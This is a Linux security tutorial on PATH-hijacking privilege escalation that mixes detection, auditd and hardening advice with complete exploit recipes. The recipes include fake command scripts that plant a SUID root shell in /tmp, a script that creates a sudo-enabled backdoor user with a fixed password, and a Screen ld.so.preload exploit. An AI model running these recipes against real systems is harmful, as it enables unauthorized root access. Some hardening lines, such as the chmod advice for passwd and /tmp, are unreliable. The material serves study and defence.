
Linux PATH Environment Variable Abuse for Privilege Escalation
Comprehensive guide to exploiting PATH environment variable misconfigurations in Linux for privilege escalation, covering detection techniques, exploitation methods, and security hardening strategies.
Introduction
The PATH environment variable is a fundamental component of Unix-like operating systems that defines the directories the shell searches when executing commands. When a user types a command without specifying its full path, the system searches through directories listed in PATH from left to right, executing the first matching binary it finds. This seemingly innocuous behavior creates a powerful privilege escalation vector when administrators configure PATH variables insecurely or when SUID/sudo-enabled scripts fail to use absolute paths.
PATH abuse exploits the command resolution order to hijack legitimate program execution. By manipulating the PATH variable or placing malicious binaries in directories that precede legitimate binary locations, attackers can trick privileged programs into executing attacker-controlled code. This technique is particularly effective against SUID binaries, sudo-configured scripts, and system services that invoke commands without absolute paths.
The vulnerability manifests in several scenarios:
- Writable PATH directories: When directories in PATH have overly permissive write permissions
- Relative PATH entries: Including current directory (
.) in PATH - SUID binaries using relative paths: Privileged executables calling commands without absolute paths
- Sudo misconfigurations: Sudoers entries that preserve user environment variables
- System scripts without path hardening: Service scripts that rely on PATH resolution
Why PATH Abuse Remains Relevant
Despite being well-documented since the 1980s, PATH-based privilege escalation continues to appear in modern systems:
- 20-30% of privilege escalation opportunities in penetration tests involve PATH manipulation
- Legacy scripts migrated from older Unix systems often lack absolute paths
- Administrator convenience prioritizes functionality over security
- Custom applications developed without security awareness
- Container environments frequently have relaxed PATH configurations
- IoT and embedded devices ship with insecure default PATH settings
This technique requires local access but frequently provides a reliable escalation path from unprivileged user to root.
Technical Background
PATH Environment Variable Mechanics
The PATH variable contains a colon-separated list of directory paths:
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/gamesCommand Resolution Order: When you execute ls, the shell searches:
First Directory
Checks /usr/local/sbin/ls—if found and executable, runs it
Second Directory
If not found, checks /usr/local/bin/ls
Third Directory
Continues through /usr/sbin/ls
Subsequent Directories
Searches /usr/bin/ls, /sbin/ls, /bin/ls until match found
Not Found
If no match exists in any PATH directory, returns "command not found"
Key insight: The first matching executable in PATH order wins. An attacker who controls an earlier directory can hijack any command invoked by relative name.
Secure vs. Insecure PATH Configurations
Secure PATH Configuration
Characteristics of a secure PATH:
# Secure system-wide PATH (typical)
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Characteristics:
# ✓ System directories only
# ✓ Root-owned directories (not writable by users)
# ✓ No current directory (.)
# ✓ No user home directories
# ✓ No world-writable directories (/tmp, /var/tmp)
# ✓ Absolute paths onlyRoot's secure PATH (from /etc/profile or ~/.bashrc):
# Root should have minimal, controlled PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binVerification:
# Check directory permissions
echo $PATH | tr ':' '\n' | while read dir; do
ls -ld "$dir" 2>/dev/null
done
# Expected output (all root-owned, not world-writable):
# drwxr-xr-x 2 root root 4096 Jan 15 10:30 /usr/local/sbin
# drwxr-xr-x 2 root root 4096 Jan 15 10:30 /usr/local/binVulnerable PATH Configurations
Dangerous PATH configurations that enable exploitation:
# 1. Current directory at beginning (CRITICAL)
PATH=.:/usr/local/bin:/usr/bin:/bin
# 2. Current directory anywhere in PATH (VULNERABLE)
PATH=/usr/local/bin:.:/usr/bin:/bin
# 3. User home directory in PATH
PATH=/home/user/bin:/usr/local/bin:/usr/bin:/bin
# 4. World-writable directory in PATH
PATH=/tmp:/usr/local/bin:/usr/bin:/bin
# 5. Relative directory paths
PATH=../bin:./scripts:/usr/bin:/binWhy these are dangerous:
| Configuration | Risk | Exploitation |
|---|---|---|
. in PATH | High | Attacker places malicious binary in current dir, hijacks command |
| User directory first | Medium | Persistent backdoor in user-controlled location |
/tmp in PATH | High | Race condition attacks, temporary malicious binaries |
| Relative paths | Medium | Directory traversal, context-dependent exploitation |
| World-writable dirs | Critical | Any user can place malicious binaries |
SUID and Sudo Interaction with PATH
SUID Binaries: When a SUID binary executes, it runs with the file owner's privileges (often root). If the binary calls commands using relative paths, PATH manipulation can hijack execution:
// Vulnerable SUID binary example
#include <stdlib.h>
int main() {
setuid(0); // Escalate to root
system("whoami"); // Calls /bin/sh to execute 'whoami'
// If PATH is malicious, executes attacker's 'whoami'
return 0;
}Sudo with env_keep: Some sudoers configurations preserve the user's PATH:
# /etc/sudoers - VULNERABLE configuration
Defaults env_keep += "PATH"
# Or specific command with SETENV
user ALL=(ALL) SETENV: /usr/local/bin/backup.shThis allows users to manipulate PATH before executing privileged commands.
Command Execution Without Absolute Paths
Scripts that use relative command names are vulnerable:
# Vulnerable script: /usr/local/bin/backup.sh (SUID root)
#!/bin/bash
echo "Starting backup..."
tar czf /backups/data.tar.gz /data/
gzip /backups/data.tar.gz
rm /tmp/temp_files
# Uses relative commands: tar, gzip, rmIf an attacker modifies PATH before this script runs with elevated privileges, they can hijack tar, gzip, or rm execution.
Detection and Enumeration
Checking Current PATH Configuration
# Display current PATH
echo $PATH
# Display PATH with each directory on separate line
echo $PATH | tr ':' '\n'
# Check for dangerous PATH elements
echo $PATH | grep -E '\.|/tmp|/var/tmp' && echo "VULNERABLE PATH DETECTED"
# Show PATH for different users
sudo -u root echo $PATH
sudo -u www-data echo $PATH
# Check system-wide PATH settings
grep -r "^PATH=" /etc/profile /etc/profile.d/ /etc/environment ~/.bashrc ~/.bash_profile 2>/dev/nullEnumerating SUID Binaries with Relative Paths
Find SUID binaries that might be exploitable via PATH manipulation:
# Method 1: Find all SUID binaries
find / -type f -perm -4000 -ls 2>/dev/null
# Method 2: Find SUID binaries and check for relative command usage
find / -type f -perm -4000 2>/dev/null | while read binary; do
# Use strings to search for commands without absolute paths
strings "$binary" 2>/dev/null | grep -E '^[a-z]{2,}$' | grep -v '^lib' | head -n 5
if [ $? -eq 0 ]; then
echo "Potential vulnerable binary: $binary"
fi
done
# Method 3: Focus on custom SUID binaries (non-system)
find / -type f -perm -4000 2>/dev/null | grep -v -E '^/(bin|sbin|usr/bin|usr/sbin|usr/local/bin|usr/local/sbin)' | while read binary; do
echo "[*] Checking: $binary"
strings "$binary" | grep -E '^(ls|cat|echo|cp|mv|rm|tar|gzip|curl|wget|nc|sh|bash)$'
done
# Method 4: Check SUID binaries for system() calls
find / -type f -perm -4000 2>/dev/null | xargs file | grep "ELF" | cut -d: -f1 | xargs -I {} sh -c 'ltrace -e system {} 2>&1 | grep -q system && echo "system() call in: {}"'Sudo Configuration Analysis
# Check sudo version (older versions have more vulnerabilities)
sudo --version
# List sudo privileges for current user
sudo -l
# Look for env_keep configurations
sudo -l | grep -i env_keep
sudo -l | grep -i setenv
# Check sudoers file for dangerous configurations
sudo cat /etc/sudoers | grep -E "env_keep|SETENV|!env_reset"
# Check sudoers.d directory
sudo ls -la /etc/sudoers.d/
sudo cat /etc/sudoers.d/* 2>/dev/null | grep -E "env_keep|SETENV"
# Test if PATH is preserved with sudo
sudo env | grep PATHScript Analysis for Relative Paths
# Find scripts called by SUID binaries or sudo
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null | xargs -I {} sh -c 'file {} | grep -q "script" && echo {}'
# Check specific script for relative command usage
check_script() {
script="$1"
echo "[*] Analyzing: $script"
grep -nE '^\s*(ls|cat|echo|cp|mv|rm|tar|gzip|curl|wget|nc|sh|bash|awk|sed|grep|find|sort|uniq)\s' "$script" | head -n 10
}
# Usage
check_script /usr/local/bin/backup.sh
# Find all shell scripts in /usr/local/bin
find /usr/local/bin -type f -executable | while read script; do
file "$script" | grep -q "shell script" && check_script "$script"
doneAutomated Enumeration
# LinPEAS - Linux Privilege Escalation Awesome Script
# Download from: https://github.com/carlospolop/PEASS-ng/releases
# Basic execution
./linpeas.sh
# Focus on PATH-related checks
./linpeas.sh | grep -A 20 "PATH"
# Output includes:
# [+] PATH
# [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses
# /home/user/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# New path exported: /home/user/bin
# [!] /home/user/bin is writable
# Check for vulnerable SUID binaries
./linpeas.sh | grep -A 30 "SUID"# Linux Exploit Suggester 2
# Download: https://github.com/jondonas/linux-exploit-suggester-2
./linux-exploit-suggester-2.pl
# Or use the shell version
./linux-exploit-suggester.sh
# Look for PATH-related exploits in output# LinEnum - Linux Enumeration Script
# Download: https://github.com/rebootuser/LinEnum
./LinEnum.sh -t
# Full enumeration with thorough checks
./LinEnum.sh -t -k password -r report.txt
# Output sections to review:
# - Current PATH
# - SUID files
# - World writable directories
# - Sudo configuration#!/bin/bash
# Custom PATH abuse detector
echo "[*] Checking PATH configuration..."
echo "Current PATH: $PATH"
# Check for dangerous PATH elements
if echo "$PATH" | grep -qE '(^|:)\.|/tmp|/var/tmp'; then
echo "[!] VULNERABLE: PATH contains dangerous elements"
fi
# Check PATH directory permissions
echo -e "\n[*] PATH directory permissions:"
echo $PATH | tr ':' '\n' | while read dir; do
if [ -d "$dir" ]; then
perms=$(ls -ld "$dir" 2>/dev/null | awk '{print $1}')
owner=$(ls -ld "$dir" 2>/dev/null | awk '{print $3":"$4}')
echo "$dir -> $perms ($owner)"
# Check if world-writable
if [ "$(stat -c %a "$dir" 2>/dev/null | cut -c3)" == "7" ]; then
echo " [!] World-writable directory in PATH!"
fi
fi
done
# Find SUID binaries with potential relative paths
echo -e "\n[*] Checking SUID binaries for relative paths..."
find / -type f -perm -4000 2>/dev/null | while read binary; do
# Check if binary contains common command names without paths
if strings "$binary" 2>/dev/null | grep -qE '^(ls|cat|echo|cp|mv|rm|tar|gzip|wget|curl)$'; then
echo "[!] Potential vulnerable: $binary"
strings "$binary" 2>/dev/null | grep -E '^(ls|cat|echo|cp|mv|rm|tar|gzip|wget|curl)$' | head -n 5
fi
done
# Check sudo configuration
echo -e "\n[*] Checking sudo configuration..."
sudo -l 2>/dev/null | grep -i "env_keep\|setenv\|!env_reset" && echo "[!] Sudo may preserve PATH"
echo -e "\n[*] Enumeration complete"Exploitation Techniques
Basic PATH Hijacking
The fundamental PATH abuse technique:
Identify Target
Find a SUID binary or sudo command that uses relative paths
Create Malicious Binary
Write a hijacking script that matches the command name
Modify PATH
Prepend attacker-controlled directory to PATH
Trigger Execution
Execute the vulnerable SUID binary or sudo command
Verify Escalation
Confirm root access or successful exploitation
Complete example:
# Scenario: Vulnerable SUID binary /usr/local/bin/backup
# The binary calls 'tar' without an absolute path
# Step 1: Verify vulnerability
strings /usr/local/bin/backup | grep tar
# Output: tar czf /backups/data.tar.gz
# Step 2: Check SUID permissions
ls -la /usr/local/bin/backup
# -rwsr-xr-x 1 root root 16384 Jan 15 10:30 /usr/local/bin/backup
# Step 3: Create malicious 'tar' binary
cd /tmp
cat > tar << 'EOF'
#!/bin/bash
# Malicious tar replacement
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
# Optionally call real tar to avoid suspicion
/bin/tar "$@"
EOF
chmod +x tar
# Step 4: Modify PATH
export PATH=/tmp:$PATH
# Step 5: Execute vulnerable binary
/usr/local/bin/backup
# Step 6: Verify exploitation
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root 1234567 Jan 15 11:00 /tmp/rootbash
# Step 7: Get root shell
/tmp/rootbash -p
# Verify root access
id
# uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)
whoami
# rootAdvanced Hijacking with Sudo
Exploiting sudo commands that preserve environment:
# Step 1: Check sudo permissions
sudo -l
# Output example:
# User user may run the following commands:
# (root) SETENV: /usr/local/bin/maintenance.sh
# Step 2: Analyze the script
cat /usr/local/bin/maintenance.sh
#!/bin/bash
echo "Running maintenance..."
service apache2 restart
systemctl status mysql
netstat -tulpn
# Uses relative commands: service, systemctl, netstat
# Step 3: Create malicious 'service' binary
mkdir /tmp/evil
cat > /tmp/evil/service << 'EOF'
#!/bin/bash
# Malicious service hijack
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
chmod +s /tmp/rootbash
# Call real service to maintain stealth
/usr/sbin/service "$@"
EOF
chmod +x /tmp/evil/service
# Step 4: Execute with modified PATH
sudo PATH=/tmp/evil:$PATH /usr/local/bin/maintenance.sh
# Step 5: Get root shell
/tmp/rootbash -p
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),1000(user)Python Script Hijacking
Exploiting Python scripts that call system commands:
# Vulnerable Python script (SUID root): /usr/local/bin/process_data.py
#!/usr/bin/env python3
import os
import subprocess
def main():
print("Processing data...")
# Vulnerable: uses shell=True with relative path
subprocess.call("wget http://example.com/data.txt", shell=True)
subprocess.call("gzip data.txt", shell=True)
os.system("rm -f /tmp/temp_*")
if __name__ == "__main__":
main()
# Exploitation:
# Create malicious 'wget'
cat > /tmp/wget << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Execute real wget
/usr/bin/wget "$@"
EOF
chmod +x /tmp/wget
# Modify PATH and execute
export PATH=/tmp:$PATH
/usr/local/bin/process_data.py
# Get root shell
/tmp/rootbash -pPerl Script Hijacking
# Vulnerable Perl script (SUID root): /usr/local/bin/log_analyzer.pl
#!/usr/bin/perl
system("cat /var/log/syslog | grep ERROR");
system("tar czf /backups/logs.tar.gz /var/log/*");
# Exploitation:
cat > /tmp/cat << 'EOF'
#!/bin/bash
echo "[+] Hijacked cat command"
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Execute real cat
/bin/cat "$@"
EOF
chmod +x /tmp/cat
export PATH=/tmp:$PATH
/usr/local/bin/log_analyzer.pl
/tmp/rootbash -pShell Script Function Hijacking
Exploiting bash script functions:
# Vulnerable script: /usr/local/bin/system_check.sh (SUID root)
#!/bin/bash
check_disk() {
df -h
du -sh /var/log
}
check_processes() {
ps aux | grep apache
}
main() {
check_disk
check_processes
}
main
# Exploitation via function override:
# Create malicious wrapper
cat > /tmp/wrapper.sh << 'EOF'
#!/bin/bash
# Override functions before sourcing
df() {
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/df "$@"
}
export -f df
# Execute vulnerable script
/usr/local/bin/system_check.sh
EOF
chmod +x /tmp/wrapper.sh
/tmp/wrapper.sh
/tmp/rootbash -pReal-World Exploitation Scenarios
Scenario 1: Screen 4.5.0 SUID Privilege Escalation
Historical but educational example (CVE-2017-5618):
# Vulnerable: Screen 4.5.0 with SUID bit
# PATH abuse combined with race condition
# Check Screen version and permissions
screen --version
ls -la /usr/bin/screen
# If SUID and vulnerable version:
cd /tmp
cat > rootshell << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x rootshell
# Create malicious library path
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void init(void) {
setuid(0);
setgid(0);
system("/tmp/rootshell");
}
EOF
gcc -fPIC -shared -o /tmp/libhax.so /tmp/libhax.c -ldl
# Exploit
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
/tmp/rootbash -pScenario 2: Exploiting Custom Backup Scripts
Common in enterprise environments:
# Vulnerable script: /usr/local/sbin/daily_backup.sh (SUID root)
#!/bin/bash
# Daily backup script
LOG_FILE="/var/log/backup.log"
echo "Starting backup at $(date)" >> $LOG_FILE
tar czf /backups/home_$(date +%Y%m%d).tar.gz /home/
mysqldump --all-databases | gzip > /backups/mysql_$(date +%Y%m%d).sql.gz
echo "Backup completed" >> $LOG_FILE
# Exploitation:
mkdir /tmp/exploit
cd /tmp/exploit
# Create malicious 'date' command
cat > date << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/date "$@"
EOF
chmod +x date
# Execute with modified PATH
PATH=/tmp/exploit:$PATH /usr/local/sbin/daily_backup.sh
# Access root shell
/tmp/rootbash -pScenario 3: Web Application Maintenance Scripts
# Vulnerable: Web server maintenance script called via sudo
# /usr/local/bin/web_restart.sh
#!/bin/bash
service nginx stop
service apache2 stop
rm -rf /var/cache/nginx/*
service apache2 start
service nginx start
# Sudoers entry:
# www-data ALL=(ALL) NOPASSWD: /usr/local/bin/web_restart.sh
# Exploitation from www-data user (e.g., via web shell):
mkdir /tmp/exploit
cat > /tmp/exploit/service << 'EOF'
#!/bin/bash
# Add backdoor user
useradd -m -s /bin/bash -G sudo backdoor
echo "backdoor:P@ssw0rd123" | chpasswd
# Execute real service
/usr/sbin/service "$@"
EOF
chmod +x /tmp/exploit/service
# Execute with modified PATH
sudo PATH=/tmp/exploit:$PATH /usr/local/bin/web_restart.sh
# Login as backdoor user
su - backdoor
sudo -iDetection and Monitoring
Runtime PATH Monitoring
# Monitor PATH changes in real-time
#!/bin/bash
BASELINE_PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
while true; do
for user in $(who | awk '{print $1}' | sort -u); do
USER_PATH=$(sudo -u "$user" bash -c 'echo $PATH' 2>/dev/null)
if [ "$USER_PATH" != "$BASELINE_PATH" ]; then
echo "[!] $(date): Anomalous PATH for user $user"
echo " Expected: $BASELINE_PATH"
echo " Actual: $USER_PATH"
logger "SECURITY: Anomalous PATH detected for user $user: $USER_PATH"
fi
done
sleep 60
doneAuditd Rules for PATH Manipulation
# Add auditd rules to monitor PATH-related activity
# Monitor SUID binary execution
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -k suid_exec
# Monitor /etc/environment modifications
auditctl -w /etc/environment -p wa -k path_modification
# Monitor profile script modifications
auditctl -w /etc/profile -p wa -k path_modification
auditctl -w /etc/profile.d/ -p wa -k path_modification
auditctl -w /etc/bash.bashrc -p wa -k path_modification
# Monitor sudo executions with environment changes
auditctl -a always,exit -F arch=b64 -S execve -F auid!=0 -F key=sudo_exec
# View audit logs
ausearch -k path_modification
ausearch -k suid_execLog Analysis for PATH Abuse
# Search for suspicious PATH modifications in logs
grep -r "PATH=" /var/log/ | grep -E "\./|/tmp/|/var/tmp/"
# Check for SUID binary execution anomalies
find / -type f -perm -4000 2>/dev/null | while read binary; do
grep "$(basename $binary)" /var/log/auth.log /var/log/syslog 2>/dev/null
done
# Monitor for suspicious command execution locations
grep -E "(/tmp/|/var/tmp/|/home/.*/).*(bash|sh|python|perl)" /var/log/syslog /var/log/auth.logFile Integrity Monitoring
# Create baseline of SUID binaries
find / -type f -perm -4000 2>/dev/null | while read binary; do
md5sum "$binary"
done > /var/security/suid_baseline.txt
# Periodic integrity check
#!/bin/bash
BASELINE="/var/security/suid_baseline.txt"
CURRENT="/tmp/suid_current.txt"
find / -type f -perm -4000 2>/dev/null | while read binary; do
md5sum "$binary"
done > "$CURRENT"
# Compare
diff "$BASELINE" "$CURRENT" > /tmp/suid_changes.txt
if [ -s /tmp/suid_changes.txt ]; then
echo "[!] SUID binary changes detected!"
cat /tmp/suid_changes.txt
mail -s "SUID Binary Changes" [email protected] < /tmp/suid_changes.txt
fiMitigation and Hardening
Secure PATH Configuration
# System-wide secure PATH configuration
# /etc/profile
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# /etc/bash.bashrc
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
export PATH
# /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Verify no current directory in PATH
if echo "$PATH" | grep -qE '(^|:)\.'; then
echo "ERROR: Current directory in PATH" >&2
PATH=$(echo "$PATH" | sed 's/:\.:/:/g' | sed 's/^\.://g' | sed 's/:\.$//')
fiHardening SUID Binaries
# Remove unnecessary SUID bits
find / -type f -perm -4000 2>/dev/null | while read binary; do
# Review and remove SUID if not required
echo "Review: $binary"
done
# Example removals (verify before executing):
chmod u-s /usr/bin/newgrp
chmod u-s /usr/bin/chage
chmod u-s /usr/bin/gpasswd
# Restrict access to necessary SUID binaries
chmod 750 /usr/bin/passwd
chmod 750 /usr/bin/sudoSecure Script Development
# Best practices for privileged scripts
#!/bin/bash
# 1. Set secure PATH at script start
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 2. Use absolute paths for all commands
/bin/echo "Starting process..."
/usr/bin/tar czf /backup/data.tar.gz /data/
/bin/gzip /backup/data.tar.gz
/bin/rm -f /tmp/temp_files
# 3. Validate environment
if [[ "$PATH" =~ \.|/tmp ]]; then
/bin/echo "Insecure PATH detected. Exiting." >&2
exit 1
fi
# 4. Use command -v to verify binary locations
REQUIRED_CMDS=("tar" "gzip" "rm")
for cmd in "${REQUIRED_CMDS[@]}"; do
if ! /usr/bin/command -v "$cmd" > /dev/null 2>&1; then
/bin/echo "Required command not found: $cmd" >&2
exit 1
fi
done
# 5. Drop privileges when possible
if [ "$EUID" -eq 0 ]; then
# Run non-privileged operations as unprivileged user
/bin/su -s /bin/bash -c '/usr/bin/command' nobody
fiSudo Hardening
# Secure sudoers configuration
# /etc/sudoers
# Always reset environment
Defaults env_reset
# Define secure PATH for sudo
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Do not preserve user's PATH
Defaults !env_keep
# Prevent SETENV abuse
Defaults !setenv
# Specific user permissions (use absolute paths)
user ALL=(ALL) NOPASSWD: /usr/local/bin/maintenance.sh
# Audit sudo usage
Defaults log_output
Defaults!/usr/bin/sudoreplay !log_outputFile System Hardening
# Restrict permissions on common exploitation directories
# Remove world-write from /tmp (if possible)
chmod 1777 /tmp # Sticky bit prevents deletion by others
# Restrict /usr/local/bin
chown root:root /usr/local/bin
chmod 755 /usr/local/bin
# Verify system directories are not writable
for dir in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin; do
current_perms=$(stat -c %a "$dir")
if [ "$current_perms" != "755" ]; then
echo "[!] Incorrect permissions on $dir: $current_perms"
chmod 755 "$dir"
fi
done
# Enable protected symlinks
echo 1 > /proc/sys/fs/protected_symlinks
# Make permanent: echo "fs.protected_symlinks = 1" >> /etc/sysctl.conf
# Enable protected hardlinks
echo 1 > /proc/sys/fs/protected_hardlinks
# Make permanent: echo "fs.protected_hardlinks = 1" >> /etc/sysctl.confReferences
MITRE ATT&CK Techniques
- T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable - Primary PATH abuse technique
- T1574 - Hijack Execution Flow - Parent technique
- T1059.004 - Command and Scripting Interpreter: Unix Shell - Shell execution via PATH hijacking
Security Resources
- CWE-426 - Untrusted Search Path - Common Weakness Enumeration
- GTFOBins - Unix binaries exploitation reference
- HackTricks: PATH Hijacking - Exploitation guide
Next Steps
After identifying or securing PATH vulnerabilities:
- Audit all SUID binaries for relative path usage
- Review sudo configurations for environment preservation
- Harden system-wide PATH in profile scripts
- Implement monitoring for PATH manipulation
- Train developers on secure script development practices
- Explore related Linux privilege escalation techniques:
Takeaway: PATH environment variable abuse remains a viable privilege escalation vector despite decades of documentation. The combination of secure PATH configuration, absolute paths in scripts, sudo hardening, file integrity monitoring, and runtime detection provides robust defense against this attack class. Make PATH security a fundamental component of your Linux hardening checklist and development standards.
Last updated on
Logrotate Exploitation
Guide to exploiting logrotate misconfigurations for privilege escalation using race conditions and the logrotten exploit.
Linux Privileged Groups Exploitation: Abusing Group Memberships for Root Access
Comprehensive technical guide to exploiting privileged Linux group memberships including Docker, LXD, disk, adm, and other high-risk groups for privilege escalation and system compromise.